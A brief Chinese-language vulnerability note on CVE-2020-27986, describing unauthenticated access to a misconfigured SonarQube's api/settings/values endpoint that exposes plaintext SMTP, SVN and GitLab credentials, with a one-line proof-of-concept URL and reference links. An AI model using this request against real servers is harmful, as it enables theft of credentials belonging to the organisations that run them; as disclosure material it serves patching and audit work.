CVE-2020-27986 SonarQube api 未授权访问

# CVE-2020-27986 SonarQube api 未授权访问

SonarQube配置不当造成未授权访问，可以通过api/settings/values获取明文SMTP、SVN和Gitlab等敏感信息

PoC：

http://[server]/api/settings/values


ref：

https://csl.com.co/sonarqube-auditando-al-auditor-parte-i/

https://forum.ywhack.com/thread-114647-1-6.html